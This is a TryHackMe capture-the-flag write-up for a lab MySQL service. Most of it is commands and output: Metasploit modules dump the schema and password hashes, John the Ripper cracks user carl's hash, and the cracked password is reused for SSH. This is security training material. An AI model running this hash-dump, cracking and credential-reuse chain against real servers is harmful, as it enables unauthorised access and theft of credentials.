TryHackMe Network Services 2 (MySQL) Writeup

Overview: This room demonstrates how to enumerate and exploit a MySQL service to gain access to the system.

📋 Target Info

• Target IP: 10.201.5.x.x
• Service: MySQL
• Goal: Gain system access through MySQL credential reuse

1. Testing the Credentials

The challenge hands us a set of test credentials (simulating credentials obtained from another service):

• User: root
• Password: password

Manual connection test

mysql -h 10.201.5.209 -u root -p
# enter password: password

✅ Connected! The credentials are valid.

mysql> exit

2. Using the Metasploit mysql_sql Module

Launch Metasploit

msfconsole

Configure the module

msf6 > search mysql_sql
msf6 > use auxiliary/admin/mysql/mysql_sql
msf6 auxiliary(admin/mysql/mysql_sql) > show options

The three options you need to set:

• PASSWORD
• RHOSTS
• USERNAME

msf6 auxiliary(admin/mysql/mysql_sql) > set PASSWORD password
msf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 10.201.5.209
msf6 auxiliary(admin/mysql/mysql_sql) > set USERNAME root

3. Running SQL Queries

Testing the default command (query the version)

msf6 auxiliary(admin/mysql/mysql_sql) > run

Result:

[*] 10.201.5.209:3306 -  | 8.0.42-0ubuntu0.20.04.1 |

MySQL version: 8.0.42-0ubuntu0.20.04.1

List all databases

msf6 auxiliary(admin/mysql/mysql_sql) > set SQL show databases
msf6 auxiliary(admin/mysql/mysql_sql) > run

Result: 4 databases in total

information_schema
mysql
performance_schema
sys

4. Schema Dump

Using the mysql_schemadump module

msf6 > use auxiliary/scanner/mysql/mysql_schemadump

Full module name: auxiliary/scanner/mysql/mysql_schemadump

Set options and run

msf6 auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD password
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 10.201.5.209
msf6 auxiliary(scanner/mysql/mysql_schemadump) > run

The last table dumped: x$waits_global_by_latency

5. Extracting the Password Hashes

Using the mysql_hashdump module

msf6 > use auxiliary/scanner/mysql/mysql_hashdump

Full module name: auxiliary/scanner/mysql/mysql_hashdump

Set options and run

msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209
msf6 auxiliary(scanner/mysql/mysql_hashdump) > run

Extraction result:

[+] root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] carl:*EA031893AA21444B170FC2162A56978B8CEECE18  ⬅️ non-default user!
[+] debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
[+] mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[+] mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] root:

Non-default user: carl

6. Cracking the Password Hash

Save the hash to a file

echo "carl:*EA031893AA21444B170FC2162A56978B8CEECE18" > hash.txt

The user/hash string: carl:*EA031893AA21444B170FC2162A56978B8CEECE18

Cracking with John the Ripper

john hash.txt

Crack result:

doggie           (carl)
1g 0:00:00:00 DONE 3/3

✅ Password cracked: doggie

7. Credential Reuse Attack

Try logging in over SSH

ssh [email protected]
# password: doggie

✅ SSH login successful!

Welcome to Ubuntu 20.04.6 LTS
carl@ip-10-201-5-209:~$

8. Grabbing the Flag

carl@ip-10-201-5-209:~$ ls
MySQL.txt

carl@ip-10-201-5-209:~$ cat MySQL.txt
THM{Redacted}

Key Takeaways

• ✅ MySQL Client - manual connection test
• ✅ Metasploit mysql_sql - running SQL queries
• ✅ Metasploit mysql_schemadump - dumping the database schema
• ✅ Metasploit mysql_hashdump - extracting password hashes
• ✅ John the Ripper - cracking the MySQL password hash
• ✅ Credential reuse - the MySQL password worked for SSH login

Lessons Learned

When working in Metasploit, you can use search to find the relevant modules, for example:
search mysql_hashdump

msf6 auxiliary(scanner/mysql/mysql_schemadump) > search mysql_hashdump

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/mysql/mysql_hashdump  .                normal  No     MYSQL Password Hashdump
   1  auxiliary/analyze/crack_databases       .                normal  No     Password Cracker: Databases
   2    \_ action: hashcat                    .                .       .      Use Hashcat
   3    \_ action: john                       .                .       .      Use John the Ripper


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/analyze/crack_databases
After interacting with a module you can manually set a ACTION with set ACTION 'john'

To use one, run use, for example:
use auxiliary/scanner/mysql/mysql_hashdump,
then check its usage with options, like so:

msf6 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/mysql/mysql_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
                                        sploit.html
   RPORT     3306             no        The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

Finally, set the relevant parameters for each module and launch the attack with run.

msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password
PASSWORD => password
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209
RHOSTS => 10.201.5.209
msf6 auxiliary(scanner/mysql/mysql_hashdump) > run
[+] 10.201.5.209:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.201.5.209:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
[+] 10.201.5.209:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
[+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[+] 10.201.5.209:3306 - Saving HashString as Loot: root:
[*] 10.201.5.209:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed